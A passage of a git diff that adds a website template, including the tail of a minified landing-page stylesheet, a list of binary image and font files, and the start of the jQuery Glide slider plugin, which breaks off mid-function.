#3e7bf8;background-size:cover;color:#fff;font-family:lucida grande,microsoft jhenghei,microsoft yahei}.g-txt{float:left;line-height:1.4;padding-top:100px;width:539px;font-family:lucida grande,microsoft jhenghei,microsoft yahei}.g-txt h2{position:relative;padding-left:20px;font-size:36px}.g-txt h2:before{content:'';position:absolute;left:0;top:17px;width:3px;height:38px;background:#47e7c4}.g-txt h2 font{font-size:30px}.g-txt p{padding-top:40px;font-size:16px;line-height:30px}.g-img{padding-top:78px;float:right}.g-home-btn{margin-top:67px;display:inline-block;width:230px;height:70px;line-height:70px;text-align:center;font-size:24px;font-family:微软雅黑;color:#008aff;background:#fff;-webkit-box-shadow:0 20px 30px 0 rgba(62,123,248,.3);box-shadow:0 20px 30px 0 rgba(62,123,248,.3);-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 1px #fff}.hnav{margin-top:-15px}.hnav ul{padding:40px 0;background:#fff;-webkit-box-shadow:0 1px 30px 0 rgba(27,103,229,.1);box-shadow:0 1px 30px 0 rgba(27,103,229,.1);-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.hnav li{float:left;width:33.33%;border-right:1px solid #e5e5e5;cursor:pointer;-moz-transition:all .5s;-webkit-transition:all .5s;transition:all .5s}.hnav li:hover{-moz-transform:translateY(-20px);-webkit-transform:translateY(-20px);transform:translateY(-20px)}.hnav li:last-child{border:0}.hnav li .img{float:left;padding:25px 30px 0}.hnav li .txt{float:left;color:#6d7589}.hnav li .txt h2{font-size:16px;line-height:30px}.hnav li .txt p{padding-top:20px;font-size:14px;font-family:lucida grande,microsoft jhenghei,microsoft yahei;line-height:25px;color:#8a95b2}.hhelp{padding:60px 0 90px}.g-hd{text-align:center;color:#515c7a}.g-hd h2{font-size:30px}.g-hd p{font-size:16px;font-family:lucida grande,microsoft jhenghei,microsoft yahei;letter-spacing:10px}.hhelp-bd{margin-top:85px}.hhelp-bd ul{overflow:visible}.hhelp-bd li{float:left;width:20%;text-align:center;cursor:pointer;-moz-transition:all .5s;-webkit-transition:all .5s;transition:all .5s}.hhelp-bd li:hover{-moz-transform:translateY(-20px);-webkit-transform:translateY(-20px);transform:translateY(-20px)}.hhelp-bd .txt h2{margin-top:30px;font-size:16px;color:#4a5875}.hhelp-bd .txt h4{padding-top:20px;font-size:14px;color:#8d95a4}.hpro{padding:85px 0 100px;background:#f6f9fe}.hpro-bd{margin-top:95px}.hpro-bd ul{height:380px;overflow:visible}.hpro-bd li{float:left;margin-right:25px;width:280px;height:390px;background:#fff;text-align:center;-webkit-box-shadow:0 5px 20px 0 rgba(145,145,145,.05);box-shadow:0 5px 20px 0 rgba(145,145,145,.05);-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;border:solid 1px #fff;-moz-transition:all .5s ease;-webkit-transition:all .5s ease;transition:all .5s ease;cursor:pointer}.hpro-bd li:hover{-moz-transform:translateY(-50px);-webkit-transform:translateY(-50px);transform:translateY(-50px);-webkit-box-shadow:0 20px 30px 0 rgba(62,123,248,.3);box-shadow:0 20px 30px 0 rgba(62,123,248,.3)}.hpro-bd li:last-child{margin-right:0}.hpro-bd li .img{margin-top:74px}.hpro-bd li .txt{position:relative;line-height:30px;color:#515c7a}.hpro-bd .txt:before{content:'';position:absolute;left:50%;top:50%;margin-left:-25px;width:50px;height:2px;background:#ff8b88}.hpro-bd li .txt h2{padding:30px 0;font-size:20px}.hpro-bd li .txt h4{font-size:14px;color:#8a95b2}.line-ffb573 .txt:before{background:#ffb573}.line-47e7c4 .txt:before{background:#47e7c4}.line-6e94ff .txt:before{background:#6e94ff}.pay{padding:120px 0 110px}.pay .pay-txt{margin-top:35px;line-height:30px;font-size:14px;letter-spacing:normal;color:#8a95b2}.pay-bd{margin-top:85px;text-align:center}.pay ul{clear:both;margin-bottom:-66px}.pay li{padding:31px 0;margin-bottom:66px;float:left;width:260px;margin-right:30px;text-align:center;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;border:solid 1px #e5e5e5;-moz-transition:all .5s;-webkit-transition:all .5s;transition:all .5s;cursor:pointer;opacity:.8}.pay li:last-child{margin-right:0}.pay li:hover{border-color:#1b92fa}.pay-btn{margin-top:72px}.g-btn{display:inline-block;width:200px;height:70px;line-height:70px;font-size:28px;color:#fff;text-align:center;background-image:linear-gradient(#1b92fa,#1b92fa),linear-gradient( #57b1fb,#57b1fb);-webkit-box-shadow:0 20px 30px 0 rgba(62,123,248,.3);box-shadow:0 20px 30px 0 rgba(62,123,248,.3);-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-moz-transition:all .5s;-webkit-transition:all .5s;transition:all .5s;opacity:.8}.g-btn:hover{opacity:1;color:#fff}.hview{overflow:hidden;padding:140px 0 120px}.even{background:#f6f9fe}.even .img{float:right}.even .txt{float:left}.odd .img{float:left}.odd .txt{float:right}.btn-zx{margin-top:40px}.btn-jr{margin-top:20px}.line-27{font-size:26px;font-family:lucida grande,microsoft jhenghei,microsoft yahei;color:#8690a3}.line-27:before{content:'';margin-right:15px;display:inline-block;width:2px;height:27px;background:#47e7c4;vertical-align:-4px}.hview-txt ul{margin-top:40px}.hview-txt li{position:relative;padding-left:45px;margin-bottom:25px;font-size:14px;line-height:28px;color:#8d95a4}.hview-txt li .icon-xuanzhongzhuangtai{position:absolute;left:0;top:0;font-size:21px;color:#49a8fb}.hpartner{height:760px;background:url(../images/img_23.png) no-repeat center #00baff;background-size:cover}.hpart-hd{padding-top:80px;color:#fff}.hpart-bd{position:relative;margin-top:60px}.hpart-list{position:relative}.hpart-list:before{content:'';position:absolute;left:50%;bottom:-31px;margin-left:-544px;width:1090px;height:363px;background:#fff;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;opacity:.7}.list-wrper{width:100%;height:100%;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;overflow:hidden}.hpart-list-wrapper{height:100%;*zoom:1;-webkit-backface-visibility:hidden;-webkit-transform-style:preserve-3d;transition:all 1s ease;background:#fff}.hpart-list .hpart-list-item{float:left;width:1200px;height:100%;background:#fff;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.hpart-list .hpart-list-item dl{padding:58px 78px;height:380px;overflow:hidden}.hpart-list .hpart-list-item dd{float:left;width:20%;margin-bottom:20px;text-align:left}.hpart-list .hpart-list-item a{display:block}.slider-nav{position:absolute;bottom:30px;margin-left:50px}.slider-nav__item{width:10px;height:6px;float:left;clear:none;display:block;margin:0 10px;background:#a6b0c9;border-radius:3px;transition:width .5s}.slider-nav__item--current{width:30px;background:#8dacf9}.hpart-prev,.hpart-next{position:absolute;left:-100px;top:50%;margin:-30px 0 -50px;width:100px;height:100px;text-align:center;cursor:pointer}.hpart-next{left:inherit;right:-100px}.hpart-prev i,.hpart-next i{font-size:42px;color:#fff}.hstart{position:relative;padding:100px 0 160px;background:url(../images/img_25.png) no-repeat bottom;overflow:hidden}.hstart-txt:before{content:'';position:absolute;top:50%;left:0;margin-top:-36px;width:6px;height:86px;background:#47e7c4}.hstart-txt{position:relative;padding-left:30px}.hstart-txt h2{font-size:30px;color:#38a0fb}.hstart-txt p{font-size:16px;color:#515c7a}.hstart-btn{position:absolute;top:50%;right:21%;margin-top:-75px}.hstart-btn a{width:268px;height:80px;line-height:80px;color:#fff}.sidebar{position:fixed;bottom:0;right:0;z-index:999}.sidebar li{margin-bottom:12px}.sidebar a{display:block;width:54px;height:54px;line-height:54px;background:#49a8fb;text-align:center;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;opacity:.7}.sidebar a:hover{opacity:1}.sidebar i{font-size:30px;color:#fff}.about{padding:80px 0 110px}.about-hd{text-align:left}.about-bd{margin-top:40px;line-height:30px;font-size:16px;font-family:宋体;color:#8d95a4}.about-hd h2:before{content:'';display:inline-block;margin-right:30px;width:2px;height:42px;background:#ff8b88;vertical-align:middle}.contact{padding:60px 0 85px;background:#f9f9f9}.contact-bd{padding:67px 30px 0;overflow:hidden}.contact-bd ul{margin-top:60px}.contact-bd li{position:relative;margin-bottom:10px;padding-left:163px;font-size:16px;color:#515c7a}.contact-bd span{position:absolute;top:0;left:0}.contact-bd i{font-size:23px;margin-right:34px;vertical-align:middle}.contact-bd .txt{float:left;font-family:lucida grande,microsoft jhenghei,microsoft yahei}.contact-bd .img{float:left;margin:35px 0 0 219px;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;-webkit-box-shadow:0 0 56px 5px #d2d3d5;box-shadow:0 0 56px 5px #d2d3d5}.contact-bd img{display:block;border:5px solid #fff;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.channel{padding:137px 0}.channel-bd{margin-top:60px;overflow:hidden}.channel-bd .txt{float:right}.channel-bd .img{float:left}.channel-bd .txt{width:560px}.g-bd .btn{margin-top:60px;margin-left:25px;width:300px;background-color:#6e94ff;background-image:none;-webkit-box-shadow:0 20px 30px 0 rgba(41,59,236,.3);box-shadow:0 20px 30px 0 rgba(41,59,236,.3)}.g-bd .txt p{margin-top:30px;padding-left:25px;font-size:16px;font-family:宋体;color:#8d95a4}.traffic{padding:90px 0;background:#f9f9f9}.traffic-bd{margin-top:22px}.traffic-bd .txt,.traffic-bd .img{float:left}.traffic-bd .txt{margin:90px 35px 0 0;width:585px;line-height:30px}.sdk{padding:127px 0 56px;background:#f9f9f9}.sdk ul{overflow:visible;margin-right:-77px}.sdk li{position:relative;margin:0 77px 136px 0;float:left;width:348px;height:178px;background:#fff;-webkit-box-shadow:0 10px 14px 1px rgba(110,110,110,.05);box-shadow:0 10px 14px 1px rgba(110,110,110,.05);-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;cursor:pointer}.sdk .txt{padding:60px 0 0 45px;font-size:18px;color:#4a5875}.sdk .img{position:absolute;top:53px;right:37px}.sdk .btn{position:absolute;left:50%;bottom:-30px;margin-left:-64px}.sdk .btn a{display:block;width:129px;height:57px;line-height:57px;text-align:center;font-size:22px;color:#fff;background:#6e94ff;-webkit-box-shadow:0 20px 30px 0 rgba(41,59,236,.3);box-shadow:0 20px 30px 0 rgba(41,59,236,.3);-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.demo{padding:133px 0;background:#f9f9f9;overflow:hidden}.demo-txt{float:left;font-size:46px;color:#4a5875}.demo-img{float:right}.demo1 .demo-img{padding-right:200px;-webkit-border-radius:20px;-moz-border-radius:20px;border-radius:20px}.demo1 img{border:5px solid #fff;-webkit-box-shadow:0 10px 14px 1px rgba(110,110,110,.1);box-shadow:0 10px 14px 1px rgba(110,110,110,.1);-webkit-border-radius:20px;-moz-border-radius:20px;border-radius:20px}.demo-txt h2{position:relative;font-family:lucida grande,microsoft jhenghei,microsoft yahei;padding-left:17px;line-height:1.5;font-size:30px}.demo-txt h2 font{font-style:oblique;color:#3d7bf8}.demo-txt h2:before{content:'';position:absolute;top:15%;left:0;width:2px;height:102px;background:#6e94ff;vertical-align:middle}.demo-txt p{margin-top:30px;font-size:14px;line-height:30px;color:#8d95a4}.demo2{background:url(../images/img_46.png) no-repeat center bottom}.demo2 .demo-txt h2:before{height:42px;top:23%}.demo2 .demo-txt{padding-top:25px;font-family:lucida grande,microsoft jhenghei,microsoft yahei}.demo2 .demo-img{float:left;padding-right:75px}.demo2 .btn{margin-top:60px;width:300px;height:80px;line-height:80px;background:#6e94ff;-webkit-box-shadow:0 20px 30px 0 rgba(41,59,236,.3);box-shadow:0 20px 30px 0 rgba(41,59,236,.3);-webkit-border-radius:20px;-moz-border-radius:20px;border-radius:20px}.faq-view{margin-top:-80px;height:387px;background:url(../images/banner-4.jpg) no-repeat center #4481f6;text-align:center}.faq-srch{position:relative;margin-top:95px;display:inline-block;text-align:center}.faq-srch .txt,.faq-srch .btn{border:0;background:0 0}.faq-srch .txt{padding:0 110px 0 34px;width:770px;height:60px;line-height:60px;font-size:20px;background:#fff;-webkit-box-shadow:0 10px 14px 1px rgba(35,25,168,.1);box-shadow:0 10px 14px 1px rgba(35,25,168,.1);-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}::-webkit-input-placeholder{color:#d3d7df}:-moz-placeholder{color:#d3d7df}::-moz-placeholder{color:#d3d7df}:-ms-input-placeholder{color:#d3d7df}.faq-srch .btn{position:absolute;top:0;right:0;width:110px;height:60px;line-height:60px;text-align:center;color:#fff;background:#6e94ff;-webkit-border-top-right-radius:5px;-moz-border-radius-topright:5px;border-top-right-radius:5px;-webkit-border-bottom-right-radius:5px;-moz-border-radius-bottomright:5px;border-bottom-right-radius:5px;cursor:pointer;opacity:.8;-webkit-transition:all .5s;-moz-transition:all .5s;transition:all .5s}.faq-srch .btn:hover{opacity:1}.faq-nav{margin-top:80px}.faq-nav ul{overflow:visible}.faq-nav li{float:left;width:16.6%}.faq-nav li a{position:relative;display:inline-block;font-size:24px;color:#fff}.faq-nav li:hover a:before{content:'';position:absolute;left:0;right:0;bottom:-10px;height:2px;background:#fff}.faq-nav li.on a:before{content:'';position:absolute;left:0;right:0;bottom:-10px;height:2px;background:#fff}.faq-list{padding:66px 0;overflow:hidden}.faq-listbg{background:#fcfcfc}.faq-list dl{position:relative;float:left;padding-left:15px;width:50%}.faq-list dt{font-size:24px;color:#4a5875}.faq-list dl:before{content:'';position:absolute;left:0;top:7%;width:2px;height:22px;background:#ff8b88;vertical-align:middle}.faq-list dt{margin-bottom:30px}.faq-list dd a{line-height:35px;font-size:18px;color:#8d95a4}.faq-list dd:hover a{text-decoration:underline}.faq-list .bj-ffb573:before{background-color:#ffb573}.faq-list .bj-ffd74c:before{background-color:#ffd74c}.faq-list .bj-47e7c4:before{background-color:#47e7c4}.faq-list .bj-4ac4fd:before{background-color:#4ac4fd}.faq-list .bj-f19ec2:before{background-color:#f19ec2}.faq-chat{padding:130px 0 0}.faq-pd{padding-bottom:80px}.faq-chat .txt{text-align:center}.faq-img{background:url(../images/img_36.png) no-repeat center bottom}.faq-chat h2{font-size:24px;color:#4a5875}.faq-chat h4{margin-top:20px;font-size:20px;color:#8d95a4}.g-btn-2{margin-top:40px;display:inline-block;width:300px;height:80px;line-height:80px;background:#6e94ff;font-size:32px;color:#fff;text-align:center;-webkit-box-shadow:0 20px 30px 0 rgba(41,59,236,.3);box-shadow:0 20px 30px 0 rgba(41,59,236,.3);-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;-moz-transition:all .5s;-webkit-transition:all .5s;transition:all .5s;opacity:.8}.g-btn-2:hover{opacity:1}.faqd-hd{padding:55px 0 10px;font-size:24px;border-bottom:2px solid #dcdcdc;color:#4a5875}.faqd-hd:before{height:22px;background:#ff8b88}.faqd-bd{margin-top:50px;padding:0 45px;font-size:18px;color:#8d95a4}.faqd-bd img{margin-top:35px}.probanner{margin-top:-80px;width:100%;height:600px;background:url(../images/banner-5.jpg) no-repeat center #3d7bf8;background-size:cover;color:#fff}.probanner-r{margin-left:100px;float:left}.pro-pay{padding:90px 0 124px}.pro-bd{margin-top:70px;overflow:hidden}.pro-pay-l{margin-top:80px;float:left}.pro-pay-r{float:right}.g-describe{margin-top:50px;font-size:14px;font-family:lucida grande,microsoft jhenghei,microsoft yahei;line-height:30px;color:#8d95a4}.pro-pay-r ul{margin-top:100px;overflow:visible}.pro-pay-r li{float:left;width:25%;text-align:center;cursor:pointer;transition:all .5s}.pro-pay-r li:hover{-webkit-transform:translateY(-30px);-moz-transform:translateY(-30px);transform:translateY(-30px)}.pro-pay-r li:hover span{color:#5bb1fb}.pro-pay-r li span{display:block;margin-top:17px;font-size:16px;color:#4a5875}.pro-sys{padding:70px 0 90px;background:#f7f9ff}.pro-sys .pro-txt{margin-top:70px;line-height:30px;font-size:14px;font-family:微软雅黑;letter-spacing:normal;color:#8d95a4}p.pro-txt{font-size:14px}.pro-sys-l,.pro-sys-r{float:left}.pro-sys-l li a{display:block;width:239px;height:120px;line-height:120px;font-size:20px;color:#5f697f;background:#f8f9fc;text-align:center}.pro-sys-l li.on a{background:#57b1fb;color:#fff}.pro-sys-l li.on i{color:#fff}.pro-sys-l li i{margin-right:30px;font-size:30px;color:#5f697f}.pro-sys-r{position:relative;width:959px;height:600px;background:#fff}.pro-sys-r-none{display:none}.pro-sys-r .img{margin-top:55px;text-align:center}.pro-sys-r .txt{padding:0 0 0 80px;margin-top:-35px}.pro-sys-r .txt h2{font-size:20px;font-family:微软雅黑;color:#515c7a}.pro-sys-r .txt p{margin-top:10px;font-size:14px;line-height:36px}.pro-sys-r .btn{position:absolute;right:103px;bottom:60px}.pro-df{padding:110px 0 100px;background:#fff}.pro-df .pro-bd{overflow:visible}.pro-df-l{padding-bottom:20px}.pro-df-l .bj-4ac4fd:before{background:#4ac4fd}.pro-df-l .btn{margin-top:60px}.pro-qr{padding:80px 0 67px;background:#f7f9ff}.pro-qr .pro-bd{margin-top:20px}.pro-qr-l{margin-top:100px}.pro-qr-l .btn{margin-top:88px}.pro-qr-r{padding-left:60px} \ No newline at end of file diff --git a/template/index5/assets/fonts/iconfont.ttf b/template/index5/assets/fonts/iconfont.ttf new file mode 100644 index 0000000..18c5721 Binary files /dev/null and b/template/index5/assets/fonts/iconfont.ttf differ diff --git a/template/index5/assets/images/banner-1.png b/template/index5/assets/images/banner-1.png new file mode 100644 index 0000000..7b16c89 Binary files /dev/null and b/template/index5/assets/images/banner-1.png differ diff --git a/template/index5/assets/images/banner.jpg b/template/index5/assets/images/banner.jpg new file mode 100644 index 0000000..ead39f3 Binary files /dev/null and b/template/index5/assets/images/banner.jpg differ diff --git a/template/index5/assets/images/img_01.png b/template/index5/assets/images/img_01.png new file mode 100644 index 0000000..dbd5031 Binary files /dev/null and b/template/index5/assets/images/img_01.png differ diff --git a/template/index5/assets/images/img_02.png b/template/index5/assets/images/img_02.png new file mode 100644 index 0000000..92a5f89 Binary files /dev/null and b/template/index5/assets/images/img_02.png differ diff --git a/template/index5/assets/images/img_03.png b/template/index5/assets/images/img_03.png new file mode 100644 index 0000000..b8ad3e6 Binary files /dev/null and b/template/index5/assets/images/img_03.png differ diff --git a/template/index5/assets/images/img_04.png b/template/index5/assets/images/img_04.png new file mode 100644 index 0000000..f2438cc Binary files /dev/null and b/template/index5/assets/images/img_04.png differ diff --git a/template/index5/assets/images/img_05.png b/template/index5/assets/images/img_05.png new file mode 100644 index 0000000..bbdb873 Binary files /dev/null and b/template/index5/assets/images/img_05.png differ diff --git a/template/index5/assets/images/img_06.png b/template/index5/assets/images/img_06.png new file mode 100644 index 0000000..b0e528c Binary files /dev/null and b/template/index5/assets/images/img_06.png differ diff --git a/template/index5/assets/images/img_07.png b/template/index5/assets/images/img_07.png new file mode 100644 index 0000000..ad5cfe0 Binary files /dev/null and b/template/index5/assets/images/img_07.png differ diff --git a/template/index5/assets/images/img_08.png b/template/index5/assets/images/img_08.png new file mode 100644 index 0000000..607cddf Binary files /dev/null and b/template/index5/assets/images/img_08.png differ diff --git a/template/index5/assets/images/img_09.png b/template/index5/assets/images/img_09.png new file mode 100644 index 0000000..bd4a787 Binary files /dev/null and b/template/index5/assets/images/img_09.png differ diff --git a/template/index5/assets/images/img_10.png b/template/index5/assets/images/img_10.png new file mode 100644 index 0000000..12947be Binary files /dev/null and b/template/index5/assets/images/img_10.png differ diff --git a/template/index5/assets/images/img_11.png b/template/index5/assets/images/img_11.png new file mode 100644 index 0000000..422c535 Binary files /dev/null and b/template/index5/assets/images/img_11.png differ diff --git a/template/index5/assets/images/img_12.png b/template/index5/assets/images/img_12.png new file mode 100644 index 0000000..635c87d Binary files /dev/null and b/template/index5/assets/images/img_12.png differ diff --git a/template/index5/assets/images/img_13.png b/template/index5/assets/images/img_13.png new file mode 100644 index 0000000..558d0b4 Binary files /dev/null and b/template/index5/assets/images/img_13.png differ diff --git a/template/index5/assets/images/img_14.png b/template/index5/assets/images/img_14.png new file mode 100644 index 0000000..4e30b55 Binary files /dev/null and b/template/index5/assets/images/img_14.png differ diff --git a/template/index5/assets/images/img_15.png b/template/index5/assets/images/img_15.png new file mode 100644 index 0000000..17f981e Binary files /dev/null and b/template/index5/assets/images/img_15.png differ diff --git a/template/index5/assets/images/img_16.png b/template/index5/assets/images/img_16.png new file mode 100644 index 0000000..5c6eeb1 Binary files /dev/null and b/template/index5/assets/images/img_16.png differ diff --git a/template/index5/assets/images/img_17.png b/template/index5/assets/images/img_17.png new file mode 100644 index 0000000..530ae6f Binary files /dev/null and b/template/index5/assets/images/img_17.png differ diff --git a/template/index5/assets/images/img_18.png b/template/index5/assets/images/img_18.png new file mode 100644 index 0000000..ec8af74 Binary files /dev/null and b/template/index5/assets/images/img_18.png differ diff --git a/template/index5/assets/images/img_19.png b/template/index5/assets/images/img_19.png new file mode 100644 index 0000000..c7a0c40 Binary files /dev/null and b/template/index5/assets/images/img_19.png differ diff --git a/template/index5/assets/images/img_20.png b/template/index5/assets/images/img_20.png new file mode 100644 index 0000000..06f1d00 Binary files /dev/null and b/template/index5/assets/images/img_20.png differ diff --git a/template/index5/assets/images/img_21.png b/template/index5/assets/images/img_21.png new file mode 100644 index 0000000..5274c32 Binary files /dev/null and b/template/index5/assets/images/img_21.png differ diff --git a/template/index5/assets/images/img_22.png b/template/index5/assets/images/img_22.png new file mode 100644 index 0000000..eaff583 Binary files /dev/null and b/template/index5/assets/images/img_22.png differ diff --git a/template/index5/assets/images/img_23.png b/template/index5/assets/images/img_23.png new file mode 100644 index 0000000..803f5ce Binary files /dev/null and b/template/index5/assets/images/img_23.png differ diff --git a/template/index5/assets/images/img_25.png b/template/index5/assets/images/img_25.png new file mode 100644 index 0000000..a918ccc Binary files /dev/null and b/template/index5/assets/images/img_25.png differ diff --git a/template/index5/assets/images/slider_1.png b/template/index5/assets/images/slider_1.png new file mode 100644 index 0000000..0c4373b Binary files /dev/null and b/template/index5/assets/images/slider_1.png differ diff --git a/template/index5/assets/images/slider_10.png b/template/index5/assets/images/slider_10.png new file mode 100644 index 0000000..c64f0be Binary files /dev/null and b/template/index5/assets/images/slider_10.png differ diff --git a/template/index5/assets/images/slider_11.png b/template/index5/assets/images/slider_11.png new file mode 100644 index 0000000..432a793 Binary files /dev/null and b/template/index5/assets/images/slider_11.png differ diff --git a/template/index5/assets/images/slider_12.png b/template/index5/assets/images/slider_12.png new file mode 100644 index 0000000..87e494d Binary files /dev/null and b/template/index5/assets/images/slider_12.png differ diff --git a/template/index5/assets/images/slider_13.png b/template/index5/assets/images/slider_13.png new file mode 100644 index 0000000..c85bc08 Binary files /dev/null and b/template/index5/assets/images/slider_13.png differ diff --git a/template/index5/assets/images/slider_14.png b/template/index5/assets/images/slider_14.png new file mode 100644 index 0000000..108adc7 Binary files /dev/null and b/template/index5/assets/images/slider_14.png differ diff --git a/template/index5/assets/images/slider_15.png b/template/index5/assets/images/slider_15.png new file mode 100644 index 0000000..a473621 Binary files /dev/null and b/template/index5/assets/images/slider_15.png differ diff --git a/template/index5/assets/images/slider_2.png b/template/index5/assets/images/slider_2.png new file mode 100644 index 0000000..d73afd3 Binary files /dev/null and b/template/index5/assets/images/slider_2.png differ diff --git a/template/index5/assets/images/slider_3.png b/template/index5/assets/images/slider_3.png new file mode 100644 index 0000000..9568d77 Binary files /dev/null and b/template/index5/assets/images/slider_3.png differ diff --git a/template/index5/assets/images/slider_4.png b/template/index5/assets/images/slider_4.png new file mode 100644 index 0000000..e961bb8 Binary files /dev/null and b/template/index5/assets/images/slider_4.png differ diff --git a/template/index5/assets/images/slider_5.png b/template/index5/assets/images/slider_5.png new file mode 100644 index 0000000..c665435 Binary files /dev/null and b/template/index5/assets/images/slider_5.png differ diff --git a/template/index5/assets/images/slider_6.png b/template/index5/assets/images/slider_6.png new file mode 100644 index 0000000..2a20e94 Binary files /dev/null and b/template/index5/assets/images/slider_6.png differ diff --git a/template/index5/assets/images/slider_7.png b/template/index5/assets/images/slider_7.png new file mode 100644 index 0000000..5d7a753 Binary files /dev/null and b/template/index5/assets/images/slider_7.png differ diff --git a/template/index5/assets/images/slider_8.png b/template/index5/assets/images/slider_8.png new file mode 100644 index 0000000..542fefe Binary files /dev/null and b/template/index5/assets/images/slider_8.png differ diff --git a/template/index5/assets/images/slider_9.png b/template/index5/assets/images/slider_9.png new file mode 100644 index 0000000..2c961c1 Binary files /dev/null and b/template/index5/assets/images/slider_9.png differ diff --git a/template/index5/assets/js/jquery.glide.js b/template/index5/assets/js/jquery.glide.js new file mode 100644 index 0000000..833aaa7 --- /dev/null +++ b/template/index5/assets/js/jquery.glide.js @@ -0,0 +1,13 @@ +;(function($,window,document,undefined){var name='glide',defaults={autoplay:4000,animationTime:500,arrows:true,arrowsWrapperClass:'slider-arrows',arrowMainClass:'slider-arrow',arrowRightClass:'slider-arrow--right',arrowRightText:' ',arrowLeftClass:'slider-arrow--left',arrowLeftText:' ',nav:true,navCenter:true,navClass:'slider-nav',navItemClass:'slider-nav__item',navCurrentItemClass:'slider-nav__item--current',touchDistance:60,slideCurrentItemClass:'slide__item--current'};function Glide(parent,options){var _=this;_.options=$.extend({},defaults,options);_.parent=parent;_.wrapper=_.parent.children();_.slides=_.wrapper.children();_.currentSlide=0;_.CSS3support=true;_.init();_.build();_.play();if(_.options.touchDistance){_.swipe();} +$(document).on('keyup',function(k){if(k.keyCode===39)_.slide(1);if(k.keyCode===37)_.slide(-1);});_.parent.add(_.arrows).add(_.nav).on('mouseover mouseout',function(e){_.pause();if(e.type==='mouseout')_.play();});$(window).on('resize',function(){_.init();_.slide(0);});return{current:function(){return-(_.currentSlide)+1;},play:function(){_.play();},pause:function(){_.pause();},next:function(callback){_.slide(1,false,callback);},prev:function(callback){_.slide(-1,false,callback);},jump:function(distance,callback){_.slide(distance-1,true,callback);},nav:function(target){if(_.navWrapper){_.navWrapper.remove();} +_.options.nav=(target)?target:_.options.nav;_.navigation();},arrows:function(target){if(_.arrowsWrapper){_.arrowsWrapper.remove();} +_.options.arrows=(target)?target:_.options.arrows;_.arrows();}};} +Glide.prototype.build=function(){var _=this;if(_.options.arrows)_.arrows();if(_.options.nav)_.navigation();};Glide.prototype.navigation=function(){var _=this;if(_.slides.length>1){var o=_.options,target=(_.options.nav===true)?_.parent:_.options.nav;_.navWrapper=$('
                                    ',{'class':o.navClass}).appendTo(target);var nav=_.navWrapper,item;for(var i=0;i<_.slides.length;i++){item=$('
                                  • ').appendTo(nav);nav[i+1]=item;} +var navChildren=nav.children();navChildren.eq(0).addClass(o.navCurrentItemClass);_.slides.eq(0).addClass(o.slideCurrentItemClass);if(o.navCenter){nav.css({'left':'50%','width':navChildren.outerWidth(true)*navChildren.length,'margin-left':-nav.outerWidth(true)/2});} +navChildren.on('click touchstart',function(e){e.preventDefault();_.slide($(this).data('distance'),true);});}};Glide.prototype.arrows=function(){var _=this;if(_.slides.length>1){var o=_.options,target=(_.options.arrows===true)?_.parent:_.options.arrows;_.arrowsWrapper=$('
                                    ',{'class':o.arrowsWrapperClass}).appendTo(target);var arrows=_.arrowsWrapper;arrows.right=$('',{'href':'#','class':o.arrowMainClass+' '+o.arrowRightClass,'data-distance':'1','html':o.arrowRightText}).appendTo(arrows);arrows.left=$('',{'href':'#','class':o.arrowMainClass+' '+o.arrowLeftClass,'data-distance':'-1','html':o.arrowLeftText}).appendTo(arrows);arrows.children().on('click touchstart',function(e){e.preventDefault();_.slide($(this).data('distance'),false);});}};Glide.prototype.slide=function(distance,jump,callback){var _=this,currentSlide=(jump)?0:_.currentSlide,slidesLength=-(_.slides.length-1),navCurrentClass=_.options.navCurrentItemClass,slidesSpread=_.slides.spread;slideCurrentClass=_.options.slideCurrentItemClass,_.pause();if(currentSlide===0&&distance===-1){currentSlide=slidesLength;}else if(currentSlide===slidesLength&&distance===1){currentSlide=0;}else{currentSlide=currentSlide+(-distance);} +var translate=slidesSpread*currentSlide+'px';if(_.CSS3support){_.wrapper.css({'-webkit-transform':'translate3d('+translate+', 0px, 0px)','-moz-transform':'translate3d('+translate+', 0px, 0px)','-ms-transform':'translate3d('+translate+', 0px, 0px)','-o-transform':'translate3d('+translate+', 0px, 0px)','transform':'translate3d('+translate+', 0px, 0px)'});}else{_.wrapper.stop().animate({'margin-left':translate},_.options.animationTime);} +if(_.options.nav){_.navWrapper.children().eq(-currentSlide).addClass(navCurrentClass).siblings().removeClass(navCurrentClass);} +_.currentSlide=currentSlide;_.slides.eq(-currentSlide).addClass(slideCurrentClass).siblings().removeClass(slideCurrentClass);if((callback!=='undefined')&&(typeof callback==='function'))callback();_.play();};Glide.prototype.play=function(){var _=this;if(_.options.autoplay){_.auto=setInterval(function(){_.slide(1,false);},_.options.autoplay);}};Glide.prototype.pause=function(){if(this.options.autoplay){this.auto=clearInterval(this.auto);}};Glide.prototype.swipe=function(){var _=this,touch,touchDistance,touchStartX,touchStartY,touchEndX,touchEndY,touchHypotenuse,touchCathetus,touchSin,MathPI=180/Math.PI,subExSx,subEySy,powEX,powEY;_.parent.on('touchstart',function(e){touch=e.originalEvent.touches[0]||e.originalEvent.changedTouches[0];touchStartX=touch.pageX;touchStartY=touch.pageY;});_.parent.on('touchmove',function(e){touch=e.originalEvent.touches[0]||e.originalEvent.changedTouches[0];touchEndX=touch.pageX;touchEndY=touch.pageY;subExSx=touchEndX-touchStartX;subEySy=touchEndY-touchStartY;powEX=Math.abs(subExSx<<2);powEY=Math.abs(subEySy<<2);touchHypotenuse=Math.sqrt(powEX+powEY);touchCathetus=Math.sqrt(powEY);touchSin=Math.asin(touchCathetus/touchHypotenuse);if((touchSin*MathPI)<32)e.preventDefault();});_.parent.on('touchend',function(e){touch=e.originalEvent.touches[0]||e.originalEvent.changedTouches[0];touchDistance=touch.pageX-touchStartX;if(touchDistance>_.options.touchDistance){_.slide(-1);}else if(touchDistance<-_.options.touchDistance){_.slide(1);}});};Glide.prototype.init=function(){var 